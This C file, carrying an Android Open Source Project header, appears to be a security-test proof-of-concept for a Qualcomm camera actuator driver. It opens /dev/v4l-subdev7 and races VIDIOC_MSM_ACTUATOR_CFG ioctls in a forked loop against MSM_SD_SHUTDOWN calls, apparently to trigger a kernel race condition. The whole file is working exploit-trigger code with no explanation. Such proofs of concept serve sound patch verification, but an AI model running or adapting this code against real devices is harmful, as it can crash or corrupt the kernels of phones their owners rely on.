/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <unistd.h>
#include <sys/syscall.h>
#include <string.h>
#include <stdint.h>
#include <pthread.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
#define MSM_SD_SHUTDOWN 0xc00856dd
int fd;
int main() {
long i;
int pid;
pthread_t th[6];
int argn[50] = {0};
fd = open("/dev/v4l-subdev7", 0x0ul );
argn[0] = 7;
syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
pid = fork();
if(!pid){
argn[0] = 1;
while(1){
usleep(10);
syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
}
}
i = 0;
while(1){
i++;
argn[0] = 7;
syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
usleep(100);
argn[0] = 0;
syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
}
close(fd);
return 0;
}